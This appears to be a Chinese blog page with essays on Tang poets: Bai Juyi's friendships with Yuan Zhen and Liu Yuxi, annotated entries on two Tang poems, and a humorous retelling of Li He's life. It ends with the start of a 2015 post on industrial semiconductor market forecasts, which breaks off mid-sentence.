其实我一开始不知道元稹字什么,看到白居易诗集中一堆堆的赠/酬/和元九和一堆堆的答/忆/寄微之,就想白居易和这两个朋友也太好了吧,写了那么多。然后发觉,他们是一个人。。
我们其他不看,就看二人都写得很浅显易懂的一些七绝。
首先,在没有网络的时代,最好和唯一的通讯方式就是信件。写信要怎么写呢?

白居易《禁中夜作书与元九》
心绪万端书两纸,欲封重读意迟迟。五声宫漏初鸣后,一点寒灯欲灭时。
元稹《得乐天书》
远信入门先有泪,妻惊女哭问何如?寻常不省曾如此,应是江州司马书!

信还没打开就哭了有木有,还特别申明了我平时是不哭的,因为这是白居易的信啊。
其实古代通讯那么不发达,古人看到信哭也是很常见,比如李白“行数虽不多,字字有委曲。天末如见之,开缄泪相续。”

白居易在喝酒游玩的时候也拉着人一起想到了他的好朋友。
白居易《同李十一醉忆元九》
花时同醉破春愁,醉折花枝作酒筹。忽忆故人天际去,计程今日到梁州。
非常巧的是,正在这个时候,元稹在梁州(据说是不知情的)写了一首梁州梦
元稹《梁州梦》
梦君同绕曲江头,也向慈恩院里游。亭吏呼人排去马,忽惊身在古梁州。
要不要这么巧。
说到梦,两个人经常(频)梦到的样子。
白居易《梦微之十二年八月二十日夜》
晨起临风一惆怅,通川湓水断相闻。不知忆我因何事,昨夜三更梦见君。
白居易说,不是我要梦到你的,是你有事找我,才梦到你的吧。
元稹《酬乐天频梦微之》
山水万重书断绝,念君怜我梦相闻。我今因病魂颠倒,惟梦闲人不梦君。
话说“惟梦闲人不梦君”这个白居易也会,比如
白居易《曲江忆元九》
春来无伴闲游少,行乐三分减二分。何况今朝杏园里,闲人逢尽不逢君。
传说中元稹白居易同时被贬,有一些经过的道路是一样的,但又不能完全同路,所以就在驿站互相留诗互相看。白居易就各种见到元稹的留诗,如
《蓝桥驿见元九诗》
蓝桥春雪君归日,秦岭秋风我去时。每到驿亭先下马,循墙绕柱觅君诗。
每到驿站先找诗非常给面子..
又如
《答微之》
君写我诗盈寺壁,我题君句满屏风。与君相遇知何处,两叶浮萍大海中。
又如
《武关南见元九题山石榴花见寄》
往来同路不同时,前后相思两不知。行过关门三四里,榴花不见见君诗。
相思..好吧唐诗里相思也是可以写给朋友的,比如王维的《相思》好像是写给李龟年的
白居易不止在驿馆读,晚上坐船也要读元稹的诗,甚至读到眼睛痛。
《舟中读元九诗》
把君诗卷灯前读,诗尽灯残天未明。眼痛灭灯犹暗坐,逆风吹浪打船声。
元稹酬答如下
《重赠乐天》
休遣玲珑唱我诗,我诗多是别君辞。明朝又向江头别,月落潮平是去时。
我诗多是别君辞这句...好像都不能算夸张
《酬乐天舟泊夜读微之诗》
知君暗泊西江岸,读我闲诗欲到明。今夜通州还不睡,满山风雨杜鹃声。
二人诗词来往最著名的应该是以下这首了。元和十年的时候,白居易被贬为江州司马,元稹当时在通州,听到这个消息又震惊又难过,于是就有了这首七绝。
《闻乐天授江州司马》
残灯无焰影幢幢,此夕闻君谪九江。垂死病中惊坐起,暗风吹雨入寒窗。
(垂死病中这句已经被玩坏了。)
白居易看了非常感动,回信说,这样的句子即使不相干的人看了都不忍心看,何况我呢。(“此句他人尚不可闻,况仆心哉!”《与元微之书》)当然如果白居易不被贬到江州司马,也就不会有琵琶行了,这是后话。
元白酬答的七绝随便找找就有这么些,还不是全部,其他的就更多了。

如果说元白二人都是比较sentimental的朋友的话,那么白居易还有一位豁达型的好基友就是刘禹锡了。因为两人是同岁,所以白居易有什么岁月不饶人的感想总归要去和刘禹锡吐嘈吐嘈。
比如他看到了一只蝉,就写了一首诗。
《闻新蝉赠刘二十八》
蝉发一声时,槐花带两枝。只应催我老,兼遣报君知。白发生头速,青云入手迟。无过一杯酒,相劝数开眉。
只应催我老也就算了,兼遣报君知是怎么回事?
刘禹锡马上回了一首《酬乐天闻新蝉见赠》。第二年刘禹锡听到蝉声,想起去年的事了,就写了一首《始闻蝉有怀白宾客去岁白有闻蝉见寄诗云只应催我老兼 遣报君知之句》。这个题目长度自抵一首七绝。关键是因为两人唱酬太多,不写写清楚都搞不清楚是哪一首了。白居易当然又回了一首《答梦得闻蝉见寄》。
于是,两个人就一只蝉就来回写了四首。
又比如,白居易老年的时候眼睛不好了,腿也不好了,书也看不了了。就好悲观得给刘禹锡写了一首诗。
《咏老赠梦得》
与君俱老矣,自问老何如?眼涩夜先卧,头慵朝未梳。有时扶杖出,尽日闭门居。
懒照新磨镜,休看小字书。情于故人重,迹共少年疏。唯是闲谈兴,相逢尚有余。
与君俱老矣太狠了..
刘禹锡的回作我非常喜欢
《酬乐天咏老见示》
人谁不顾老,老去有谁怜。身瘦带频减,发稀冠自偏。废书缘惜眼,多炙为随年。
经事还谙事,阅人如阅川。细思皆幸矣,下此便翛然。莫道桑榆晚,为霞尚满天。
“经事还谙事,阅人如阅川。”“莫道桑榆晚,为霞尚满天。”太漂亮了有没有。
刘禹锡劝慰老友的诗明显不止一首两首,随便再来一个就有
《杏园花下酬乐天见赠》
二十余年作逐臣,归来还见曲江春。游人莫笑白头醉,老醉花间有几人。
这首诗一看就有一种白居易又寄来一首吐槽诗的即视感,不过我试图去找了下,没找到。
两人唱和虽多,最著名的莫过于扬州之见。
白居易先写
《醉赠刘二十八使君》
为我引杯添酒饮,与君把箸击盘歌。诗称国手徒为尔,命压人头不奈何。
举眼风光长寂寞,满朝官职独蹉跎。亦知合被才名折,二十三年折太多。
刘禹锡回答
《酬乐天扬州初逢席上见赠》
巴山楚水凄凉地,二十三年弃置身。怀旧空吟闻笛赋,到乡翻似烂柯人。
沉舟侧畔千帆过,病树前头万木春。今日听君歌一曲,暂凭杯酒长精神。
这两首诗写于826年,应该是这两位同岁,境遇相似的诗人的初逢。(更正,两人之前应当已认识)。白居易表达了对朋友的同情和学识的赞扬。刘禹锡马上回了一句“沉舟侧畔千帆过,病树前头万木春。”的传世名句。
怎么看都觉得白居易乐天这个字应该送给他。
827年,两个人同调入洛阳,于是开始了唱和诗的高峰。白居易后来还编了一本刘白唱和集。洛阳的情景有两首诗比较有趣。
白居易《赠梦得》两首
年颜老少与君同,眼未全昏耳未聋。放醉卧为春日伴,趁欢行入少年丛。
寻花借马烦川守,弄水偷船恼令公。闻道洛城人尽怪,呼为刘白二狂翁。

前日君家饮,昨日王家宴,今日过我庐,三日三会面。(天天喝...)
当歌聊自放,对酒交相劝。为我尽一杯,与君登三愿。
一愿世清平,二愿身强健,三愿临老头,数与君相见。
这结尾好像杜甫的“但使残年饱吃饭,只愿无事常相见。”

除元稹刘禹锡以外,白居易还有两个好朋友,一个是崔玄亮(字晦叔)还有一个是李杓直(就是前面《同李十一醉忆元九》中的李十一)
这位李杓直,也是元稹的朋友,他死于元稹之前,元稹写过一首《与乐天同葬杓直》
元伯来相葬,山涛誓抚孤。不知他日事,兼得似君无。
诗很短,也查不到解析,但是能用上元伯山涛这两个典,可见交情不浅。
这位崔玄亮,应该也是元稹的朋友吧。因为白居易六十岁丧子,写了两首诗,其中一首叫《初丧崔儿报微之晦叔》
书报微之晦叔知,欲题崔字泪先垂。世间此恨偏敦我,天下何人不哭儿。
白居易丧子,元稹肯定有答诗但没找到,刘禹锡的却有一首
《吟白乐天哭崔儿二篇,怆然寄赠》
吟君苦调我沾缨,能使无情尽有情。四望车中心未释,千秋亭下赋初成。
庭梧已有栖雏处,池鹤今无子和声。从此期君比琼树,一枝吹折一枝生。
一枝吹折一枝生这样的话,果然是刘禹锡才会说的,不过白居易回诗表示:“劳寄新诗远安慰,不闻枯树再生枝。”
可惜白居易的这几位好友都死在他之前。这位听了人家一首琵琶曲就青衫湿的江州司马,当然非常难过。

元稹死的时候,他写了三首《哭微之》
八月凉风吹白幕,寝门廊下哭微之。妻孥朋友来相吊,唯道皇天无所知。

文章卓荦生无敌,风骨英灵殁有神。哭送咸阳北原上,可能随例作灰尘?

今在岂有相逢日,未死应无暂忘时。从此三篇收泪后,终身无复更吟诗。

后来白居易又相继失去了两个朋友(崔群,崔玄亮),此时他发觉自己还活着的好友就好像只有刘禹锡了,于是寄了三首诗给刘禹锡。一首七律,两首五绝。
《寄刘苏州》
去年八月哭微之,今年八月哭敦诗。
何堪老泪交流日,多是秋风摇落时。
泣罢几回深自念,情来一倍苦相思。
同年同病同心事,除却苏州更是谁?
《微之敦诗晦叔相次长逝,岿然自伤,因成二绝》
并失鹓鸾侣,空留麋鹿身。只应嵩洛下,长作独游人。

长夜君先去,残年我几何。秋风满衫泪,泉下故人多。
这里提到的敦诗,叫崔群,和白居易刘禹锡也是同岁。白居易《花前有感兼呈崔相公刘郎中》里说到:“何事同生壬子岁(大历七年),老于崔相及刘郎。”
刘禹锡,照例给老朋友回了一首诗,也是有名句的。
《乐天见示伤微之敦诗晦叔三君子皆有深分因成是诗以寄》
吟君叹逝双绝句,使我伤怀奏短歌。世上空惊故人少,集中惟觉祭文多。
芳林新叶催陈叶,流水前波让后波。万古到今同此恨,闻琴泪尽欲如何。
不知道是不是因为白居易太伤感,从而反衬出刘禹锡太潇洒。从“沉舟侧畔千帆过,病树前头万木春。”到“芳林新叶催陈叶,流水前波让后波。”再到“莫道桑榆晚,为霞尚满天。”都非常豁达,可见诗豪这个称号不是白来的。
等到刘禹锡也去世后(白居易有《哭刘尚书梦得》二首),白居易就不是访旧半为鬼,而是全为鬼了。
他在《感旧》中写到了自己的四位已去世的好友。
《感旧》
晦叔坟荒草已陈,梦得墓湿土犹新。微之捐馆将一纪,杓直归丘二十春。
城中虽有故第宅,庭芜园废生荆榛。箧中亦有旧书札,纸穿字蠹成灰尘。
平生定交取人窄,屈指相知唯五人。四人先去我在后,一枝蒲柳衰残身。
岂无晚岁新相识,相识面亲心不亲。人生莫羡苦长命,命长感旧多悲辛。
又过了几年,这位老人家自己也去世了。

白居易好诗人,传世的评价是潜切平易,脍炙人口。能脍炙人口的当然不是单潜切平易就可以了,更多的恐怕是为人写诗的赤子之心。(我一向以为“星斗其文,赤子其人”是对文学家很高的评价。)
不过存诗太多,在下已经望而却步了。

春闺思


袅袅城边柳,青青陌上桑。
提笼忘采叶,昨夜梦渔阳 。


注释
[1]渔阳:秦渔阳县在今天津蓟县,秦、汉、魏、晋、渔阳郡治此。隋末改无终县为渔阳。隋玄州渔阳郡、唐蓟州渔阳郡均治此。唐以后渔阳为蓟州治所。明省入蓟州 。今为蓟县。现蓟县西北有一山,名曰渔山,县城在山南,故名渔阳。

译文
袅袅城边的垂柳,
青青路旁的柔桑。
提篮忘了把桑采,
凝思昨夜梦渔阳。

诗词鉴赏
鉴赏一
“袅袅城边柳,青青陌上桑”。城边、陌上、柳丝与桑林,已构成一幅春郊场景。“袅袅”写出柳条依人的意态,“青青”是柔桑逗人的颜色,这两个叠词又渲染出融和骀荡的无边春意。这就使读者如睹一幅村女采桑图。于是,这两句不仅是一般地写景,还给女主人公的怀思提供了典型环境:城边千
诗意图诗意图
万丝杨柳,会勾起送人的往事;而青青的柔桑,会使人联想到“昼夜常怀丝(思)”的春蚕,则思妇眼中之景无非难堪之离情了。
后二句在蚕事渐忙、众女采桑的背景上现出女主人公的特写形象:她倚树凝思,一动不动,手里提着个空“笼”——这是一个极富暗示性的“道具”,“提笼忘采叶”,表露出她身在桑下而心不在焉。心儿何往?末句就此点出“渔阳”二字,意味深长。“渔阳”是唐时征戍之地,当是这位闺中少妇所怀之人所在的地方。原来她是思念起从军的丈夫,伤心怨望。诗写到此已入正题,但它并未直说眼前少妇想夫之意,而是推到昨夜,说“昨夜梦渔阳”。写来不仅更婉曲,且能见昼夜怀思、无时或已之意,比单写眼前之思,情意更加深厚。[2]
“提笼忘采叶”,这诗中精彩的一笔,许会使读者觉得似曾相识。杨慎早有见得,道是:“从《卷耳》首章翻出。”《诗经。卷耳》是写女子怀念征夫之诗,其首章云:“采采卷耳,不盈顷筐。嗟我怀人,置彼周行。”斜口小筐不难填满,卷耳也不难得,老采不满,是因心不在焉、老是“忘采叶”之故,其情景确与此诗有神似处。但就诗的整体说,彼此又很不同。《卷耳》接着就写了女子白日做梦,幻想丈夫上山、过冈、马疲、人病及饮酒自宽种种情景,把怀思写得非常具体。而此诗说到“梦渔阳”,似乎开了个头,接下去该写梦见什么,梦见怎样,但作者就此带住,不了了之。提笼少妇昨夜之梦境及她此刻的心情,一概留给读者,让其从人物的具体处境回味和推断,语约而意远。这就以最简的办法,获得很大的效果。因此,《春闺思》不是《卷耳》的摹拟,它已从古诗人手心“翻出”了。

鉴赏二
唐代边境战争频仍,后来又加上安史之乱,给人民带来了极大的痛苦.唐诗中,包含广大量描写征夫思妇相互怀念的作品.张仲素是以写闺情见长的.他的这类作品,除《春闺思》外.还有《秋闺思》、《秋夜曲》等,皆脍炙人口,传诵至今.
  本诗写征人妻子在春天里思念丈夫的心态.诗的开头,紧紧扣住一个"春"字来写."袅袅城边柳,青青陌上桑",为我们展现了一派郊野的春光."袅袅"是形容柳树随风摇曳的情态,"城边"则交代了具体的环境.柳树是春景中的典型描写对象.诗人在此既是写实,同时也蕴含着更多的深意.柳树的千丝万絮,不正隐含着对征人的"千思万绪"吗?在这种场合提及柳树,的确耐人寻味.第二句写到桑树,以便为下句"采叶"作铺垫."青青"是形容桑叶茂盛的样子,"陌上"是采桑的地方.这同样是实中见虚的写法.句中"陌上桑"一语,本是汉《乐府·相和曲》名,一日《艳歌罗敷行》.晋·崔豹《古今注·音乐》中说:"《陌上桑》,出秦氏女子.秦氏,邯郸人,有女名罗敷,为邑人千乘王仁妻.王仁后为赵王家令.罗敷出,采桑于陌上.赵王登台,见而悦之.因置酒欲夺焉.罗敷巧弹筝,乃作《陌上桑》歌以自明焉."诗人在此除了实写陌上春色之外,也是有意地用典,借《陌上桑》的故事,含蓄地表达女主人公对丈夫的忠贞不二之情.
  第三、四两句从写景转为写人."提笼忘采叶",这是作者撷取到的具有典型意义的生动画画:采桑女手提竹笼而立,却忘了采摘桑叶.这是一尊多么纯洁美丽的雕像!《诗经·卷耳》有句云:"采采卷耳,不盈顷筐.嗟我怀人,置彼周行."上古时代的女子因怀人而忘了采卷耳,唐代的妇人因思亲而顾不上采桑叶.这其间相去千百年之久,而人们的感情特征竟是这样惊人的相似.
  第四句"昨夜梦渔阳"补出"忘采叶"的真正原因,同时也点明了本诗的主题."渔阳"是征戍之地,是亲人所去之地.关河万里,只有梦中才能前往.昨夜梦中相见,其悲喜交并的情景,至今仍萦绕在脑际."此情无计可消除.才下眉头,又上心头."难怪主人公要"提笼忘采叶"了.
  这首诗虽篇幅短小,但构思新巧,剪裁精工,画面鲜丽,蕴意深远,是值得一读的好诗.

作者简介
张仲素(约769~819)唐代诗人,字绘之,符离(今安徽宿州)人。宪宗时为翰林学士,后终中书舍人。其诗语言上十分清婉爽洁,悠远飘逸,少有庸作;题材上以写征人思妇的居多,也有描写宫乐春旅的作品。
代表作有《春闺思》、《秋夜曲》、《玉绳低建章》、《宫中乐五首》、《陇上行》、《秋思赠远》、《塞下曲五首》、《秋思二首》、《燕子楼诗三首》、《上元日听太清宫步虚》等,尤以《春闺思》和《秋夜曲》最为著名。

何满子


故国三千里,深宫二十年。
一声何满子,双泪落君前。


词句注释
    故国:故乡。
    何满子:唐教坊曲名。《乐府诗集》卷八十:“白居易曰:‘何满子,开元中沧州歌者,临刑进此曲,竟不得兔。’《杜阳杂论》曰:‘文宗时宫人沈阿翘为帝舞《何满子》,调辞风态,率皆婉畅。’然则亦舞也。”
    君:或以为指唐武宗,因据《唐诗纪事》,唐武宗病笃,欲孟才人相殉,孟唱“一声何满子”后,即气亟而死。然则按此记载,此诗在前,孟才人唱“一声何满子”在后。因此不必一定要坐实武宗与孟才人事,不如说泛指,更有普遍性,更具典型意义。[1]


作品鉴赏
这是一首言怨诗,诗中写宫人长期幽禁在深宫里的悲痛生活。
前两句先从大处写,一个女子远离故乡三千里,在交通不发达、女子又很少远门的古代,三千里路是太遥远了,何啻到海角天涯一般,是一个永远难以走到的地方。幽禁深宫二十年,对一个人来说,这是一生中最美好的年华,一般十多岁入宫,她美好的青春就葬送在这里了。一朵含苞待放的鲜花,经过二十年狂风暴雨的摧残,不少已经凋萎,剩下的也都憔悴不堪了。二十年来,她们不仅被禁锢在深宫里,而且还要侍候淫暴的帝王、骄横的后妃、娇惯的帝子,受尽蹂躏与屈辱。这两句,前一句从空间上着眼,写其去家之远;后一句从时间上着眼,写其入宫时间之长,这是高度概括、有力地显示了宫女的不幸,反映了她们的愁恨,唤起读者对她们的无限同情。
后两句具体写宫女们的怨情,选择了一个非常能打动人心的细节,悲歌一声,双泪齐落,倾吐了埋藏极深、蓄聚已久的满腔怒情。一般宫怨诗都写宫女或嫔纪由于失宠而生愁,或终身见不到帝王而怨恨,此诗中的怨情偏偏在君前迸发出来,这是对失去自由与青春的抗议,这是对二十年来悲惨生活的控诉。满腔怨情喷薄而出,—把怒火直烧君王,显得深刻有力。诗中一般不主张多用数字,因为数字大多会造成诗的呆板枯燥,此诗却每句
都有数字,以“三千里”表明离家之远,以“二十年”表明入宫时间之长,以“一声”写歌声哀戚,以“双泪”写悲痛泣下,但用在这里都有特殊作用,在表达每件事每一情绪时,更准确更清晰也更有力,更深刻地反映出了宫人的不幸与怨恨,给读者留下了更具体更深刻的印象。此诗在当时曾被厂泛歌唱,传入深宫后,引起了广大宫女们的共鸣,纷纷传唱。杜牧在《酬张枯处士见寄长句四韵》中说:“可怜故国三千里,虚唱歌词满六宫。”。“故国三千里”的歌声能“满六宫”,可见其感人之深与影响之大。

作者简介
张祜(生卒年不详),字承吉,唐代诗人,清河(一说山东德州)人。出生在清河张氏望族,家世显赫,被人称作张公子,初寓姑苏(今江苏苏州),后至长安,长庆中令狐楚表荐之,不报。辟诸侯府,为元稹排挤,遂至淮南,爱丹阳曲阿地,隐居以终,生卒年已不可考。张祜的一生,在诗歌创作上取得了卓越成就。“故国三千里,深宫二十年”张祜以是得名,《全唐诗》收录其349首诗歌。

有个诗人叫李贺:我活27岁,让你难忘千年

一、
公元768年,秋天。在美丽的汉江平原上,一位叫杜甫的诗人,正在送一个远房亲戚去四川。
这位亲戚的名字有点拗口,叫做李晋肃。“远房”究竟有多远呢?已知的一条是,杜甫的外公的外公的八叔,是李晋肃的先祖。
这时的杜甫,已是人生最后两年,很瘦,很憔悴;那位亲戚还是少年,很质朴,很阳光。
杜甫是个重感情的人。对这个超级远的远亲,他依依不舍,写诗送别:
“我们的船啊,
就要相背远离了。
那天上的雁啊,
也排成一行在悲鸣。”
秋风中,年轻人含泪紧握杜甫的手:“表兄,我也喜欢写诗,可什么时候才能写到你这个水平啊!”
杜甫拍了拍他肩膀,安慰说:“加油,你可以的。下次我们再交流。”
以上对话是我的揣测。可以确定的是,这一次别离之后,他们再也没有见过面。
杜甫大概想不到的是,虽然李晋肃的诗最终默默无闻,但他的儿子,却会成为一代文豪。
40年后,这个孩子将会从自己手中接过熊熊火炬,照耀唐诗的辉煌之路。
二、
790年,这个男孩出生了。他身体很差,又瘦又小。父亲李晋肃却很爱他,希望他健康幸福。
“我要用最吉利的字给他取名。”李晋肃想。他给儿子取名“李贺”,字“长吉”,希望他一生都吉祥。
李贺的气质很忧郁,不爱说话,眼里经常闪着奇怪的光。
“孩子,你将来打算做什么?”家人问。
“我要写诗。”李贺淡淡地说。
“快算了吧!”家长头都大了。“写诗早就没出路了,你以前的那些猛人,什么王维李白杜甫,把这个世界上能写的好诗都写完毬了!你看后来那什么‘大历十才子’,不肯认怂,非要继续搞诗,搞出了什么鬼。现在不都时兴写散文了嘛。”
李贺不吭声。他的目光穿越云层,直达苍穹。
冥冥之中,仿佛有个声音对他说:“你真的想清楚了?诗的殿堂里,已经没有你的位子了。”
李贺四面看去,果然,在唐诗的光辉圣殿里,诗仙、诗圣、诗佛、诗狂、诗魔、诗豪、甚至诗囚都已经就位,真的没位子了。
“一定还有位子的。”他坚定地说。
“有是有,可是……只剩一个诗鬼了。”
李贺仰天长笑。我就来做这个诗鬼吧。
三、
李贺慢慢长大了。
他的家乡在河南昌谷,一个神秘寂静的地方。他常常骑着父亲送的小毛驴,独自走出很远。他会爬上充满神话色彩的女几山,看兰香女神升天的古庙。他还来到残破的福昌宫,那里人迹罕至,是龙和凤凰出没的地方。
在这神奇的地方,小李贺郑重宣布,自己确定了写作风格。
“现实?浪漫?武侠?言情?”家人问。
“都不是,我的主攻方向是——魔幻。”李贺淡淡地说。家人又仆倒一片。
转眼到了十八岁。李贺整理好了诗,准备走出家乡,征服外面的世界。他的目标是一座伟大的城市——东都洛阳。
家里很担心:“你虽然是大唐王孙,但是家道败落了,说是富农都够呛。现在考试都要托关系,你的写作风格又这么魔幻,谁帮你啊?”
李贺反问:“现在文坛上,最大的腕是谁?”
“这……当然是韩愈院长。”
“好,我就找他。”
“人家是大V,你是个小号,你找他做什么?”
李贺傲然一笑,说出了让家人再次晕倒的话:“互推!”
四、
别误会,所谓“互推”,不是互相推倒,而是互相推荐。
比如两个微信公号,互相说对方好,欢天喜地一起涨粉丝,这就叫做互推。
小李贺想去找韩愈互推,难比登天——无论文坛还是武林,都有个不成文的规矩:大号不和小号搞互推,怕吃亏、掉粉。
以我的主业读金庸为例,《射雕英雄传》里,黄蓉热情地邀请老爸黄药师和江南七怪搞互推:“爹,我给你引见几位朋友。这是江湖上有名的江南六侠,是靖哥哥的师父。”
有数十万粉丝的大号黄药师粗鲁地拒绝了。他“眼睛一翻”,臭屁地来了一句:“我不见外人”。
韩愈在文坛的地位,相当于黄药师在武林。当时文坛最牛的原创文学号叫“古文运动”,是一个几十万粉丝的超级大号,运营者就是韩愈。
韩愈也写软文,因为腕儿大,开价贵死人。他给人家写个墓志铭,收费动不动“马一匹,并鞍、衔及白玉腰带一条”,或是“绢五百匹”,值好几百贯钱。而当时京城里三品大官不算禄米和职田,月俸也就6贯钱。
小李贺要打动大文豪韩愈,只有一条路:拿出最猛的诗,让韩院长吓一大跳。按照惯例,开卷第一首尤其重要,必须放代表作。
他想了很久,终于作出了决定:“第一首,放《雁门太守行》吧”。
五、
韩愈院长是很忙的。
一天到晚,除了写作、科研、带学生,还要应付学校的杂事、教育部的验收,以及各种崇拜者、女粉丝……
这天,韩愈刚刚送走了一个粉丝,非常疲惫,“极困”。他的研究生抱着一摞材料进来了。
“我说了晚上不看文件……”韩愈有点不耐烦。
“不是文件,是一个河南年轻人的投稿。”研究生说。
对于年轻人的投稿,韩愈是重视的。他随手把裤腰带解了,盘腿窝在沙发上读。第一首正是《雁门太守行》。
才读了前四行,韩院长就激动地跳了起来,裤子都掉在脚脖子上。他读到的是:
黑云压城城欲摧,
甲光向日金鳞开。
角声满天秋色里,
塞上燕脂凝夜紫。”

韩愈当然识货——有唐一代,无数猛人写乐府、写边塞,名篇如云,却从来没过这样凄美绝艳的画面。他兴奋地大喊:“快把这个人给我找回来!”
“是是,我这就把那女粉丝叫回来……”研究生说。
“粉你个头啊!不是女粉丝,是这个李贺!李贺!”
很快,大V韩愈见到了小号李贺。他紧握住这个十八岁年轻人的手,只说了短短几个字:“推!咱们互推!”
六、
在韩愈的推荐下,李贺人气大增,开始迅速涨粉。
那个年头,粉丝多对考进士是有好处的。李贺本该抓住机会报名考试。然而家乡传来噩耗,父亲死了,必须回老家服丧守制三年。
命运第一次玩弄了李贺。他眼睁睁看着三个好朋友王参元、杨敬之、权璩都考上了进士,自己只有在老家等待。
韩愈没有忘记他,给李贺写来了信,鼓励他从头再来。
等待一千多个日夜之后,李贺再出江湖。重见之后,韩愈吓了一跳:你头发怎么都白了?
李贺天生早衰,不到20就白头了。时间对他特别珍贵。“这一次,我无论如何不能失败。”
第一轮河南府试,李贺成绩很好,轻松拿到“乡贡秀才”资格。下一站考试在帝都长安。他踌躇满志:“眼大心雄知所以,莫忘作歌人姓李。”
他没有注意到,在背后,许多竞争者们正嫉恨地看着他,要把他搞掉。这些人使出了最厉害的一招——告状。
请屏住呼吸,听一听他们找到的李贺的罪名:
“李贺的爸爸名叫‘晋肃’,和‘进士’谐音。李贺跑来考进士,就是对父亲的极大侮辱,是严重的不孝!”
你听了是不是险些晕倒?这也可以成立?
答案是:可以的。在我们的古代,有很多东西是很操蛋的。白居易的爷爷叫“锽”,和“宏”字相近,所以他就不能参加“博学宏辞科”的考试。
这一次告状,可以把李贺的前途判死刑。
七、
韩愈愤怒了。他要为李贺鸣冤。
他觉得这些告状的人很恶心,比抄袭六神磊磊稿子不署名的还恶心。
这名感性的文豪,写出了一篇犀利的《讳辩》,发出了那著名的一问:
“当爹的名叫‘晋肃’,儿子就不能考进士;假如当爹的名叫‘仁’,儿子就不能做人了吗?”
这是一篇伟大的文章,闪耀着那八个字的光芒:“解放思想,实事求是”。
然而,韩愈的声援也救不了李贺。所谓“文可以变风俗”,这句被用来称赞文豪的话,有时真的只是一种美好的梦想。
20岁的李贺终生失去了当进士的资格,悲伤地回到家乡。他不写日记,我们只有从诗里读到他后来的心情:
“衰兰送客咸阳道,天若有情天亦老”。
“秋坟鬼唱鲍家诗,恨血千年土中碧”。
此后的日子里,他几次出门奔前程,回来都只看到日渐败落的家庭。姐姐嫁人了,弟弟远行谋生,家里只有他和老母亲相依为命。
他曾谋到过一个职位:“奉礼郎”,品级是——从九品,相当于副科长,低到不能再低。但就连这个位子,也因为身体太差当不下去。
26岁那年,李贺进行了人生最后一次努力——我不能考试,但还可以参军,建功立业啊。
那时候的唐朝,已经不是王维、孟浩然所在的田园诗般的唐朝了,整天都有军阀造反。李贺来到潞州参加平叛的军队,那里有一个叫张彻的人,是韩愈的侄女婿,李贺打算投奔他。
张彻很够朋友,用美酒款待李贺,让他帮自己办理公文。他们“吟诗一夜东方白”,准备一起平叛,报效国家。
快乐的日子没持续多久。大唐江河日下,叛乱越平越多,连主战派的宰相都被人当街暗杀,还破不了案。李贺所在的部队孤立无援,人员星散。李贺只有再回家乡。
八、
李贺还想奋斗,但已经没有了时间。
他一直咳嗽,高烧不退,开始出现幻觉。诗人不甘心死,希望苍天开眼,留住飞逝的时光:
“飞光飞光,劝尔一杯酒。
吾不识青天高、黄地厚,
唯见月寒日暖,来煎人寿。”
但是他又本能地知道,自己生命无多了。在他的诗里,频频出现鬼灯、秋坟、恨血、衰兰、腐草、冷烛、寒蟾、纸钱……无比凄美,但又让人看了发毛,每一篇都像是给自己的祭文。
就像他怀念钱塘名妓的那篇《苏小小墓》:
“幽兰露,如啼眼。
无物结同心,烟花不堪剪。”
眼看身体实在撑不住了,李贺整理了诗稿,郑重交给一个叫沈子明的朋友,托付他传下去:
我的诗,阴风阵阵,鬼气森森,魅力很独特,缺点也很明显。
但是我在前有李杜,同时代有韩愈、白居易、元稹、贾岛、孟郊、杜牧等无数猛人的环绕下,杀出了一条石破天惊的道路。
你叫它恐怖诗、魔幻诗也好,黄泉诗、仙鬼诗也好,反正,它们是中国独一无二的美丽的诗。
顺便说一句,这个叫沈子明的哥们很不靠谱,回头就把这事给忘了。直到李贺死了整整十五年,这哥们喝醉了酒,一翻箱子,才发现压在底下的李贺诗稿,估计都发霉了。
沈子明大概有点惭愧:哥们,我对不起你。我一定好好给你出版诗集,找一个当今文坛上最猛的人来给你作序。
老一代文豪韩愈已经故去,他找来作序的新一代猛人,叫做杜牧。没错,就是“停车坐爱枫林晚”的那位。
李贺的死充满传奇色彩。稍晚的大诗人李商隐记下了这样一件事:
27岁的李贺重病时,忽然有一个穿红衣服的人,骑着赤龙,手拿着写满太古篆文的信来找他,说:“天帝造了一座白玉楼,要你去写文章点赞。你和我走吧。那里生活很好,一点也不苦。”
李贺想到母亲,哭泣不止,但一切已晚。有目击者看到烟云升起,还听见了车轮和音乐的声音。李贺就此死去。
我不知道李贺究竟有没有去那天上的白玉楼。但记录者李商隐深信不疑,郑重表明:这是李贺姐姐亲口说的,她很老实,不会说谎。
九、
李贺死后,这个只活了27岁的诗人,让我们争吵了上千年。
有人说,李贺的诗很猛,比李白还猛——“自苍生以来所绝无”“在太白之上”。还有人说,他是中国的济慈、波德莱尔、柯勒律治。
也有人说,他不过尔尔,也就是和唐代的王建、张籍一个水平。
50年代的时候,李贺变成了反动诗人的代表,说他写的是地主阶级的诗,“除了描写肉欲与色情以外,内容是什么也没有的”“建筑在对农人和小民的剥削上”“没有同情农人和小民的痛苦”。
70年的时候,李贺又变成了积极的革命分子,说他有“法家思想”,反对分裂、要求统一,不顾儒家坏学者韩愈的拉拢,坚决和韩愈作斗争。
有人说,李贺生得太晚了,盛唐以后,诗歌路子越写越窄,李贺慨叹瑰丽的天国难以到达,只好把注意移到棘草丛生的墓场。
也有人说,李贺生得太早了。比如余光中就认为,十一个世纪以前的李贺是一位“生得太早”的现代诗人。如果他活在二十世纪的中国,必然也会写现代诗。
对李贺的批评,有些有道理,有些没道理。
比如李贺生前遇到的一个人,就批评他只会写长调,不会写五言诗。
这位朋友一定是没读过我们的小学语文课本。上面有一首《》。
李贺写诗很晦涩,喜欢弯弯绕绕,但他特意把自己最直露的情怀、最激昂的青春、最壮美的豪气,留给了这一首五言诗:
大漠沙如雪,
燕山月似钩。
何当金络脑,
快走踏清秋。”

Friday, 27 March 2015

全球工业半导体市场前景广阔


市场研究机构IHS估计,全球工业半导体市场将以9.7%的年均复合增长率,由2013年的348亿美元规模,在2018年增长至552亿美元;企业资本 支出与宏观经济持续增长,特别是美国与中国,有助于激励工业半导体市场的需求以及销售额增长。根据IHS的最新报告,工厂自动化、大楼/家庭控制以及商用 飞机对工业半导体组件的需求不断增加。实际上,工业半导体销售额在2014年第三季度的季度增长率仍只有4.7%,但2014年全年度销售额则估计较上一 年度增长了16.8%。在各种工业半导体产品中,发光LED的增长率尤其强劲,销售增长率达到23.4%,由2013年的63亿美元增加至2014年的 77亿美元;离散功率晶体管以与门流体(thyristor)销售增长率则为13.4%,由55亿美元增加至63亿美元。工业OEM工厂 (Industrial OEM 